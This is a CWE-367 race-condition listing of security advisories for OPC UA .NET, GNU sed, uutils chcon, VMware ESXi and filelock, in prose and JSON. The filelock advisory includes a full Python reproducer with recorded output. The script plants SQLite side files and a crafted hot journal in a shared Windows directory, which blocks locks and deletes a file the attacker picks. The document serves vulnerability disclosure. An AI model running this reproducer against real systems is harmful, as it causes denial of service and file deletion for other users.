CWE-367
AllowedTime-of-check Time-of-use (TOCTOU) Race Condition
Abstraction: Base · Status: Incomplete
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
1597 vulnerabilities reference this CWE, most recent first.
GHSA-9Q94-V7CH-MXQW
Vulnerability from github – Published: 2021-08-02 17:35 – Updated: 2021-05-25 20:12This vulnerability allows remote attackers to create a denial-of-service condition on affected installations of OPC Foundation UA .NET Standard 1.04.358.30. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of sessions. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this vulnerability to create a denial-of-service condition against the application. Was ZDI-CAN-10295.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.358.30"
},
"package": {
"ecosystem": "NuGet",
"name": "OPCFoundation.NetStandard.Opc.Ua"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.359.31"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-8867"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-613"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-25T20:12:12Z",
"nvd_published_at": "2020-04-22T21:15:00Z",
"severity": "MODERATE"
},
"details": "This vulnerability allows remote attackers to create a denial-of-service condition on affected installations of OPC Foundation UA .NET Standard 1.04.358.30. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of sessions. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this vulnerability to create a denial-of-service condition against the application. Was ZDI-CAN-10295.",
"id": "GHSA-9q94-v7ch-mxqw",
"modified": "2021-05-25T20:12:12Z",
"published": "2021-08-02T17:35:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8867"
},
{
"type": "WEB",
"url": "https://github.com/OPCFoundation/UA-.NETStandard/releases/tag/1.4.359.31"
},
{
"type": "WEB",
"url": "https://opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2020-8867.pdf"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-20-536"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Insufficient Session Expiration and TOCTOU Race Condition in OPC FOundation UA .Net Standard"
}
GHSA-9R7W-J29G-XQX8
Vulnerability from github – Published: 2026-04-20 12:32 – Updated: 2026-05-19 15:31When sed is invoked with both -i (in-place edit) and --follow-symlinks, the function open_next_file() performs two separate, non-atomic filesystem operations on the same path: 1. resolves symlink to its target and stores the resolved path for determining when output is written, 2. opens the original symlink path (not the resolved one) to read the file. Between these two calls there is a race window. If an attacker atomically replaces the symlink with a different target during that window, sed will: read content from the new (attacker-chosen) symlink target and write the processed result to the path recorded in step 1. This can lead to arbitrary file overwrite with attacker-controlled content in the context of the sed process.
This issue was fixed in version 4.10.
{
"affected": [],
"aliases": [
"CVE-2026-5958"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-20T12:16:08Z",
"severity": "LOW"
},
"details": "When sed is invoked with both -i (in-place edit) and --follow-symlinks, the function open_next_file() performs two separate, non-atomic filesystem operations on the same path: \n1. resolves symlink to its target and stores\u00a0the resolved path for determining when output is written,\n2. opens the original symlink path\u00a0(not the resolved one) to read the file. \nBetween these two calls there is a race window. If an attacker atomically replaces the symlink with a different target during that window, sed will: read content from the new (attacker-chosen) symlink target and write the processed result to the path recorded in step 1.\u00a0This can lead to arbitrary file overwrite with attacker-controlled content in the context of the sed process.\n\n\nThis issue was fixed in version 4.10.",
"id": "GHSA-9r7w-j29g-xqx8",
"modified": "2026-05-19T15:31:20Z",
"published": "2026-04-20T12:32:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5958"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2026/04/CVE-2026-5958"
},
{
"type": "WEB",
"url": "https://www.gnu.org/software/sed"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/13/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9RV8-9HVG-92MQ
Vulnerability from github – Published: 2026-11-20 16:39 – Updated: 2026-11-20 16:39chcon resolved recursive targets from fts_accpath with a fresh path lookup, so traversal and the SELinux get/set were not bound to traversal directory state. A privileged recursive relabel can be redirected to unintended objects under rename/symlink races. Fix opens targets with openat against the traversal cwd fd before the SELinux operation.
Fixed in 0.10.0 (PR #12566, commit 7cfc74e47ffab452663be6842d788a5164d9688b): recursive relabel resolution is anchored to the traversal dirfd.
Zellic private finding (zellic-ext/coreutils-private PR #120). Reported in the Zellic uutils coreutils Program Security Assessment (for Canonical, Jan 2026), audited commit 3a07ffc5a9bd4c283e75afa548ba1f1957bad242.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.0"
},
"package": {
"ecosystem": "crates.io",
"name": "uu_chcon"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35376"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-20T16:39:34Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "`chcon` resolved recursive targets from `fts_accpath` with a fresh path lookup, so traversal and the SELinux get/set were not bound to traversal directory state. A privileged recursive relabel can be redirected to unintended objects under rename/symlink races. Fix opens targets with `openat` against the traversal cwd fd before the SELinux operation.\n\n**Fixed in 0.10.0** (PR #12566, commit 7cfc74e47ffab452663be6842d788a5164d9688b): recursive relabel resolution is anchored to the traversal dirfd.\n\n---\n_Zellic private finding (zellic-ext/coreutils-private PR #120). Reported in the Zellic *uutils coreutils Program Security Assessment* (for Canonical, Jan 2026), audited commit `3a07ffc5a9bd4c283e75afa548ba1f1957bad242`._",
"id": "GHSA-9rv8-9hvg-92mq",
"modified": "2026-11-20T16:39:34Z",
"published": "2026-11-20T16:39:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/security/advisories/GHSA-9rv8-9hvg-92mq"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/pull/11402"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/commit/7cfc74e47ffab452663be6842d788a5164d9688b"
},
{
"type": "PACKAGE",
"url": "https://github.com/uutils/coreutils"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "chcon: recursive relabel not anchored to traversal dirfd (TOCTOU)"
}
GHSA-9V5H-WGX5-JXXJ
Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31VMware ESXi (7.0 before ESXi_7.0.1-0.0.16850804, 6.7 before ESXi670-202008101-SG, 6.5 before ESXi650-202007101-SG), Workstation (15.x), Fusion (11.x before 11.5.6) contain an out-of-bounds read vulnerability due to a time-of-check time-of-use issue in ACPI device. A malicious actor with administrative access to a virtual machine may be able to exploit this issue to leak memory from the vmx process.
{
"affected": [],
"aliases": [
"CVE-2020-3981"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-20T17:15:00Z",
"severity": "MODERATE"
},
"details": "VMware ESXi (7.0 before ESXi_7.0.1-0.0.16850804, 6.7 before ESXi670-202008101-SG, 6.5 before ESXi650-202007101-SG), Workstation (15.x), Fusion (11.x before 11.5.6) contain an out-of-bounds read vulnerability due to a time-of-check time-of-use issue in ACPI device. A malicious actor with administrative access to a virtual machine may be able to exploit this issue to leak memory from the vmx process.",
"id": "GHSA-9v5h-wgx5-jxxj",
"modified": "2022-05-24T17:31:50Z",
"published": "2022-05-24T17:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3981"
},
{
"type": "WEB",
"url": "https://www.vmware.com/security/advisories/VMSA-2020-0023.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9VHV-JXWW-XFM5
Vulnerability from github – Published: 2026-10-23 22:28 – Updated: 2026-10-23 22:28On Windows, ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path: <database>-journal, the rollback journal (pages saved to undo an interrupted write); <database>-wal, the write-ahead log (changes kept outside the main file); and <database>-shm, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database's directory, but not delete files of other accounts there, places such a side file beside the database and denies everyone DELETE on it, which a file's creator may do. C:\Windows\Temp (the temporary directory of services, granting BUILTIN\Users create but not delete) and C:\Users\Public are such directories.
With a -wal in place, every read_lock() and write_lock() of the user running the lock (below: the lock user) raises sqlite3.OperationalError: disk I/O error at once, whatever timeout says, until that account removes its file; the lock user cannot. With a -journal beside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says "Windows does not take this path" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic's OSS Scanner sent on 15 October 2026.
Severity
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L scores 3.3 (Low).
AV:L (local): the other account needs a logon on the same host. AC:L (low attack complexity): create one file beside the database and set its ACL (access control list); no race, and the other account can place the file days earlier. PR:L (low privileges): an ordinary account that can create files in the directory is enough. UI:N (no user interaction). S:U (scope unchanged). C:N (no confidentiality impact): the other account learns nothing. I:N (no integrity impact in the scored variant): see the scoring note. A:L (partial availability impact): every acquire fails with an exception that Timeout handlers do not catch, until the other account removes its file; no crash, and the lock's own data is not changed.
Scoring note. The deletion variant reads CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L (3.6): I:L because the lock user's process deletes one file the journal names, AC:H because it needs a lock database that holds a table, which filelock does not create, and a journal the lock user can open for writing. The lower-reading rule of this advisory set scores the variant that reaches every ReadWriteLock on Windows in such a directory, 3.3, and describes the deletion variant under Mechanism. Classification from the review: security (another account), availability for the scored variant.
Scope and preconditions
- Platform and classes: Windows only.
ReadWriteLockandAsyncReadWriteLock, both of which connect through_connect. On Linux and macOS the lock takes other routes, covered by GHSA-v4x8-3wr5-3wq8. - Directory: one where another account can create files but cannot delete the lock user's.
C:\Windows\TempcarriesBUILTIN\Users:(CI)(S,WD,AD,X)(create file and create subdirectory, no delete child);C:\Users\Publicand any directory with such an entry qualify. A directory only the lock user can write, such as%LOCALAPPDATA%or the per-user temporary directory, is not affected. - The other account creates
<database>-wal, grants everyone modify and denies everyoneDELETEon it. A file's creator may set both. The lock user can open and read the file but not delete it. - Deletion variant: the lock database holds at least one table (filelock creates an empty database, and the review's reproducer has the lock account create the table), and the other account's
<database>-journalgrants the lock account modify rights. The journal's tail names a file the lock user can delete. - What the lock user sees:
write_lock(timeout=1)raisedsqlite3.OperationalError: disk I/O errorwith the undeletable-walin place; with the writable journal the acquire succeeded and the named file was gone; with an undeletable journal every acquire raisedsqlite3.OperationalError: unable to open database file. - The documentation at the scanned commit states "the lock directory must not be writable by untrusted users" for
WindowsFileLock, in its symlink paragraph; theReadWriteLockdocumentation names no directory requirement on Windows.
Affected code
Scanned commit b831496b0273: the Windows branch of _connect checks the database through a handle and then calls sqlite3.connect(database, ...) with the path. _open_lock_database and _raise_if_wal inspect that handle, not the side files. The first statement is PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY; at L816. _do_acquire_inner at L763 turns only "database is locked" into Timeout; any other sqlite3.OperationalError leaves the acquire.
Introduced
cfd4446 "feat(lock): add SQLite-based ReadWriteLock" (#399, 2026-02-12), first tag 3.20.4 (verified with git tag --contains), passed the lock path to sqlite3.connect on every platform. The Linux descriptor route (4.0.9) and the macOS hard-link route (4.1.1) did not change Windows, where the connect has been by name in every release since. The reproducer ran against the head of PR #834 at 1f9e415, whose Windows branch of _connect is the same code as at b831496b0273.
Mechanism
_connect on Windows opens the database with _open_non_reparse_fd, checks through that handle that the file is a regular file, not a reparse point, and that its header does not declare WAL mode, and keeps the handle open while sqlite3.connect(database) opens the same name. The check covers the database, not the names beside it. On the first statement, PRAGMA journal_mode=MEMORY, SQLite takes its first lock on the database and looks for <database>-wal. A non-empty -wal beside a database that is not in WAL mode is a leftover SQLite deletes. The other account's file denies DELETE, so the pragma raises SQLITE_IOERR_DELETE, which reaches the caller as sqlite3.OperationalError: disk I/O error. _do_acquire_inner converts only "database is locked" into Timeout, so acquire_read(), acquire_write() and the async forms raise at once, on every call, until the file is gone. The lock user has no right to delete it.
The journal variant needs a database with content. Beside a non-empty database SQLite treats a <database>-journal with a valid header as hot (left by an interrupted write) and replays it before the first statement runs. The review's journal is 46 bytes: a file path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. That tail names a super-journal, and recovery ends by deleting the file it names. The lock user's write_lock() therefore deletes one file the other account chose, provided the lock user can delete it, and returns without error. SQLite opens a hot journal for writing, so the other account's journal must grant the lock account modify rights; a read-only journal makes every acquire raise sqlite3.OperationalError: unable to open database file instead. GHSA-v4x8-3wr5-3wq8 describes the same side-file behavior on POSIX, where the sticky bit plays the part the directory ACL plays here.
Reproduction
The review's reproducer, quoted as received except for the second account's password on line 2, replaced by <password>. It ran on a Windows 11 VM (NTFS, CPython 3.14, SQLite 3.53.1) against the head of PR #834 at 1f9e415, as the administrator account bernat, which stands in for the other account that creates the side files; the lock account is fltester, a member of Users, whose database lives in C:\Windows\Temp.
win_two_accounts.py
# Run from /tmp/claude-1000/-home-bernat-git-filelock-filelock-main/3ccf38c2-14f9-4acc-a05f-18230504d7cd/scratchpad/review4/D/834 (the script is staged there):
# winvm up && winvm sync && winvm run "python3.14 -I win_two_accounts.py . fltester '<password>'"
# which runs, as the administrator account on the VM:
# python3.14 -I win_two_accounts.py <worktree> <second-user> <password>
# The second (non-administrator) account is the lock user. Its database lives in C:\Windows\Temp, where every account
# may create files but not delete another account's. This administrator account stands in for the other account that
# plants SQLite side files there: it creates them, grants everyone read, and denies everyone delete, all of which the
# file's creator may do.
import ctypes
import os
import pathlib
import sqlite3
import struct
import subprocess
import sys
from ctypes import wintypes
sys.path.insert(0, sys.argv[1] + "/src")
from filelock import ReadWriteLock
user, password = sys.argv[2], sys.argv[3]
base = pathlib.Path(os.environ["SYSTEMROOT"]) / "Temp"
icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe")
tag = f"rw834-{os.getpid()}"
advapi32 = ctypes.WinDLL("advapi32", use_last_error=True)
advapi32.LogonUserW.argtypes = [wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, ctypes.POINTER(wintypes.HANDLE)]
advapi32.GetUserNameW.argtypes = [wintypes.LPWSTR, ctypes.POINTER(wintypes.DWORD)]
token = wintypes.HANDLE()
if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)):
raise ctypes.WinError(ctypes.get_last_error())
def current_user() -> str:
size = wintypes.DWORD(256)
buffer = ctypes.create_unicode_buffer(size.value)
advapi32.GetUserNameW(buffer, ctypes.byref(size))
return buffer.value
def as_lock_user(action):
if not advapi32.ImpersonateLoggedOnUser(token):
raise ctypes.WinError(ctypes.get_last_error())
try:
return action()
finally:
advapi32.RevertToSelf()
def plant(path: pathlib.Path, data: bytes, *, deletable: bool) -> None:
path.write_bytes(data)
subprocess.run([icacls, str(path), "/grant", "*S-1-1-0:(M)"], check=True, capture_output=True)
if not deletable:
subprocess.run([icacls, str(path), "/deny", "*S-1-1-0:(D)"], check=True, capture_output=True)
def acquire(db: pathlib.Path) -> str:
try:
with ReadWriteLock(db, is_singleton=False).write_lock(timeout=1):
pass
except Exception as error:
return f"acquire failed: {type(error).__name__}: {error}"
return "acquired"
def hot_journal(super_journal: pathlib.Path) -> bytes:
name = os.fsencode(str(super_journal))
return name + struct.pack(">II", len(name), sum(name)) + bytes.fromhex("d9d505f920a163d7")
print("planting account:", current_user(), "| lock account:", as_lock_user(current_user))
db = base / f"{tag}-empty.db"
as_lock_user(lambda: db.touch())
plant(pathlib.Path(f"{db}-wal"), b"\0" * 32, deletable=False)
print("empty database, undeletable -wal:", as_lock_user(lambda: acquire(db)), "| -wal still exists:", pathlib.Path(f"{db}-wal").exists())
for deletable in (True, False):
db = base / f"{tag}-tables-{deletable}.db"
notes = base / f"{tag}-notes-{deletable}.txt"
def prepare() -> None:
with sqlite3.connect(db) as connection:
connection.execute("CREATE TABLE application (value)")
connection.close()
notes.write_text("keep")
as_lock_user(prepare)
plant(pathlib.Path(f"{db}-journal"), hot_journal(notes), deletable=deletable)
print(f"database with a table, {'deletable' if deletable else 'undeletable'} -journal naming the lock account's file:",
as_lock_user(lambda: acquire(db)), "| named file still exists:", notes.exists(), "| -journal still exists:", pathlib.Path(f"{db}-journal").exists())
Recorded output on the VM:
planting account: bernat | lock account: fltester
empty database, undeletable -wal: acquire failed: OperationalError: disk I/O error | -wal still exists: True
database with a table, deletable -journal naming the lock account's file: acquired | named file still exists: False | -journal still exists: False
database with a table, undeletable -journal naming the lock account's file: acquire failed: OperationalError: unable to open database file | named file still exists: True | -journal still exists: True
Failure sequence
flowchart TD
P["other account: create lock.db-wal (or lock.db-journal) beside lock.db in C:/Windows/Temp, grant everyone modify, deny everyone DELETE"] --> C["lock user: ReadWriteLock(lock.db).write_lock(timeout=1)"]
C --> O["_open_lock_database checks the handle: regular file, no reparse point, header not WAL"]
O --> S["sqlite3.connect(lock.db) by path, then PRAGMA journal_mode=MEMORY"]
S -- "empty database, undeletable -wal" --> E1["SQLite cannot delete the leftover -wal: OperationalError disk I/O error on every acquire, timeout not consulted"]
S -- "database with a table, writable -journal" --> E2["SQLite treats the journal as hot, replays it and deletes the file its tail names, acquire succeeds"]
S -- "database with a table, read-only -journal" --> E3["OperationalError unable to open database file on every acquire"]
classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;
classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;
classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;
class P,C,O,S info;
class E1,E2,E3 bad;
Evidence
The reproducer printed the three lines above on the VM: the undeletable -wal beside an empty database made write_lock(timeout=1) fail with OperationalError: disk I/O error and left the file in place; the writable journal beside a database with one table let the acquire succeed while the file the journal named, created by the lock account with the content keep, was gone along with the journal; the read-only journal made the acquire fail with OperationalError: unable to open database file and left both files. The review notes that the Windows branch of _connect is unchanged since #399, so the behavior is the same at b831496b0273 and in 4.2.0. The scanner and the maintainers measured the same side-file effects on Linux for GHSA-v4x8-3wr5-3wq8.
Impact
In a directory such as C:\Windows\Temp, another local account turns every read_lock() and write_lock() on a ReadWriteLock database into an immediate sqlite3.OperationalError, for as long as its file stays. Callers that handle Timeout or OSError do not catch it, and the lock user cannot remove the file. With a lock database that holds a table and a journal the lock user can write, the lock user's process deletes one file of the other account's choosing, among the files the lock user may delete, and the acquire reports success. The lock's own database is not changed, nothing is read, and mutual exclusion between processes that acquire the lock holds.
Workarounds
- Keep the
ReadWriteLockdatabase in a directory other accounts cannot create files in:%LOCALAPPDATA%, the per-user temporary directory (%TEMP%of a user session), or a directory with inheritance removed and only the owner,SYSTEMandAdministratorsgranted.C:\Windows\TempandC:\Users\Publicdo not qualify. - Treat
sqlite3.OperationalError: disk I/O erroron every acquire as a foreign<database>-walbeside the database, which only its creator or an administrator can remove.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/854
Credits
Found by the maintainers while reviewing the fix for the POSIX form of this defect, GHSA-v4x8-3wr5-3wq8, reported by Anthropic's OSS Scanner on 15 October 2026 (review round 4, set D, finding F2).
- 2026-10-15 23:08 UTC: report received (36 findings; the Windows side-file effect is not among them)
- 2026-10-16 01:15 UTC: PR #834 opened, for the POSIX routes
- 2026-10-16 08:31 UTC: finding identified in the maintainers' review of PR #834
- 2026-10-16 22:43 UTC: draft advisory created
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.0"
},
"package": {
"ecosystem": "PyPI",
"name": "filelock"
},
"ranges": [
{
"events": [
{
"introduced": "3.20.4"
},
{
"fixed": "4.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112913"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-23T22:28:19Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "On Windows, `ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) connect SQLite to the lock database by its path, in every directory. SQLite derives three side files from that path: `\u003cdatabase\u003e-journal`, the rollback journal (pages saved to undo an interrupted write); `\u003cdatabase\u003e-wal`, the write-ahead log (changes kept outside the main file); and `\u003cdatabase\u003e-shm`, the shared-memory index of the WAL. SQLite acts on whichever of these it finds beside the database before the lock runs any statement. Another local account that can create files in the database\u0027s directory, but not delete files of other accounts there, places such a side file beside the database and denies everyone `DELETE` on it, which a file\u0027s creator may do. `C:\\Windows\\Temp` (the temporary directory of services, granting `BUILTIN\\Users` create but not delete) and `C:\\Users\\Public` are such directories.\n\nWith a `-wal` in place, every `read_lock()` and `write_lock()` of the user running the lock (below: the lock user) raises `sqlite3.OperationalError: disk I/O error` at once, whatever `timeout` says, until that account removes its file; the lock user cannot. With a `-journal` beside a lock database that holds a table, SQLite replays the journal and deletes the file the journal names, a file of the lock user, and the acquire reports success. Affected versions are filelock 3.20.4 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the POSIX form of the defect, GHSA-v4x8-3wr5-3wq8, whose text says \"Windows does not take this path\" (review round 4, finding F2 of set D). It is not among the findings of the report Anthropic\u0027s OSS Scanner sent on 15 October 2026.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L` scores 3.3 (Low).**\n\n`AV:L` (local): the other account needs a logon on the same host. `AC:L` (low attack complexity): create one file beside the database and set its ACL (access control list); no race, and the other account can place the file days earlier. `PR:L` (low privileges): an ordinary account that can create files in the directory is enough. `UI:N` (no user interaction). `S:U` (scope unchanged). `C:N` (no confidentiality impact): the other account learns nothing. `I:N` (no integrity impact in the scored variant): see the scoring note. `A:L` (partial availability impact): every acquire fails with an exception that `Timeout` handlers do not catch, until the other account removes its file; no crash, and the lock\u0027s own data is not changed.\n\nScoring note. The deletion variant reads `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L` (3.6): `I:L` because the lock user\u0027s process deletes one file the journal names, `AC:H` because it needs a lock database that holds a table, which filelock does not create, and a journal the lock user can open for writing. The lower-reading rule of this advisory set scores the variant that reaches every `ReadWriteLock` on Windows in such a directory, 3.3, and describes the deletion variant under Mechanism. Classification from the review: **security** (another account), availability for the scored variant.\n\n## Scope and preconditions\n\n- Platform and classes: Windows only. `ReadWriteLock` and `AsyncReadWriteLock`, both of which connect through `_connect`. On Linux and macOS the lock takes other routes, covered by GHSA-v4x8-3wr5-3wq8.\n- Directory: one where another account can create files but cannot delete the lock user\u0027s. `C:\\Windows\\Temp` carries `BUILTIN\\Users:(CI)(S,WD,AD,X)` (create file and create subdirectory, no delete child); `C:\\Users\\Public` and any directory with such an entry qualify. A directory only the lock user can write, such as `%LOCALAPPDATA%` or the per-user temporary directory, is not affected.\n- The other account creates `\u003cdatabase\u003e-wal`, grants everyone modify and denies everyone `DELETE` on it. A file\u0027s creator may set both. The lock user can open and read the file but not delete it.\n- Deletion variant: the lock database holds at least one table (filelock creates an empty database, and the review\u0027s reproducer has the lock account create the table), and the other account\u0027s `\u003cdatabase\u003e-journal` grants the lock account modify rights. The journal\u0027s tail names a file the lock user can delete.\n- What the lock user sees: `write_lock(timeout=1)` raised `sqlite3.OperationalError: disk I/O error` with the undeletable `-wal` in place; with the writable journal the acquire succeeded and the named file was gone; with an undeletable journal every acquire raised `sqlite3.OperationalError: unable to open database file`.\n- The documentation at the scanned commit states \"the lock directory must not be writable by untrusted users\" for `WindowsFileLock`, in its symlink paragraph; the `ReadWriteLock` documentation names no directory requirement on Windows.\n\n## Affected code\n\nScanned commit `b831496b0273`: the [Windows branch of `_connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L951-L965) checks the database through a handle and then calls `sqlite3.connect(database, ...)` with the path. [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) inspect that handle, not the side files. The first statement is [`PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` at L816](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816). [`_do_acquire_inner` at L763](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) turns only `\"database is locked\"` into `Timeout`; any other `sqlite3.OperationalError` leaves the acquire.\n\n## Introduced\n\n[cfd4446](https://github.com/tox-dev/filelock/commit/cfd4446) \"feat(lock): add SQLite-based ReadWriteLock\" ([#399](https://github.com/tox-dev/filelock/pull/399), 2026-02-12), first tag 3.20.4 (verified with `git tag --contains`), passed the lock path to `sqlite3.connect` on every platform. The Linux descriptor route (4.0.9) and the macOS hard-link route (4.1.1) did not change Windows, where the connect has been by name in every release since. The reproducer ran against the head of PR #834 at `1f9e415`, whose Windows branch of `_connect` is the same code as at `b831496b0273`.\n\n## Mechanism\n\n`_connect` on Windows opens the database with `_open_non_reparse_fd`, checks through that handle that the file is a regular file, not a reparse point, and that its header does not declare WAL mode, and keeps the handle open while `sqlite3.connect(database)` opens the same name. The check covers the database, not the names beside it. On the first statement, `PRAGMA journal_mode=MEMORY`, SQLite takes its first lock on the database and looks for `\u003cdatabase\u003e-wal`. A non-empty `-wal` beside a database that is not in WAL mode is a leftover SQLite deletes. The other account\u0027s file denies `DELETE`, so the pragma raises `SQLITE_IOERR_DELETE`, which reaches the caller as `sqlite3.OperationalError: disk I/O error`. `_do_acquire_inner` converts only \"database is locked\" into `Timeout`, so `acquire_read()`, `acquire_write()` and the async forms raise at once, on every call, until the file is gone. The lock user has no right to delete it.\n\nThe journal variant needs a database with content. Beside a non-empty database SQLite treats a `\u003cdatabase\u003e-journal` with a valid header as hot (left by an interrupted write) and replays it before the first statement runs. The review\u0027s journal is 46 bytes: a file path, its 4-byte length, the 4-byte sum of its bytes and SQLite\u0027s journal magic. That tail names a super-journal, and recovery ends by deleting the file it names. The lock user\u0027s `write_lock()` therefore deletes one file the other account chose, provided the lock user can delete it, and returns without error. SQLite opens a hot journal for writing, so the other account\u0027s journal must grant the lock account modify rights; a read-only journal makes every acquire raise `sqlite3.OperationalError: unable to open database file` instead. GHSA-v4x8-3wr5-3wq8 describes the same side-file behavior on POSIX, where the sticky bit plays the part the directory ACL plays here.\n\n## Reproduction\n\nThe review\u0027s reproducer, quoted as received except for the second account\u0027s password on line 2, replaced by `\u003cpassword\u003e`. It ran on a Windows 11 VM (NTFS, CPython 3.14, SQLite 3.53.1) against the head of PR #834 at `1f9e415`, as the administrator account `bernat`, which stands in for the other account that creates the side files; the lock account is `fltester`, a member of `Users`, whose database lives in `C:\\Windows\\Temp`.\n\n**`win_two_accounts.py`**\n\n```python\n# Run from /tmp/claude-1000/-home-bernat-git-filelock-filelock-main/3ccf38c2-14f9-4acc-a05f-18230504d7cd/scratchpad/review4/D/834 (the script is staged there):\n# winvm up \u0026\u0026 winvm sync \u0026\u0026 winvm run \"python3.14 -I win_two_accounts.py . fltester \u0027\u003cpassword\u003e\u0027\"\n# which runs, as the administrator account on the VM:\n# python3.14 -I win_two_accounts.py \u003cworktree\u003e \u003csecond-user\u003e \u003cpassword\u003e\n# The second (non-administrator) account is the lock user. Its database lives in C:\\Windows\\Temp, where every account\n# may create files but not delete another account\u0027s. This administrator account stands in for the other account that\n# plants SQLite side files there: it creates them, grants everyone read, and denies everyone delete, all of which the\n# file\u0027s creator may do.\nimport ctypes\nimport os\nimport pathlib\nimport sqlite3\nimport struct\nimport subprocess\nimport sys\nfrom ctypes import wintypes\n\nsys.path.insert(0, sys.argv[1] + \"/src\")\nfrom filelock import ReadWriteLock\n\nuser, password = sys.argv[2], sys.argv[3]\nbase = pathlib.Path(os.environ[\"SYSTEMROOT\"]) / \"Temp\"\nicacls = os.path.join(os.environ[\"SYSTEMROOT\"], \"System32\", \"icacls.exe\")\ntag = f\"rw834-{os.getpid()}\"\nadvapi32 = ctypes.WinDLL(\"advapi32\", 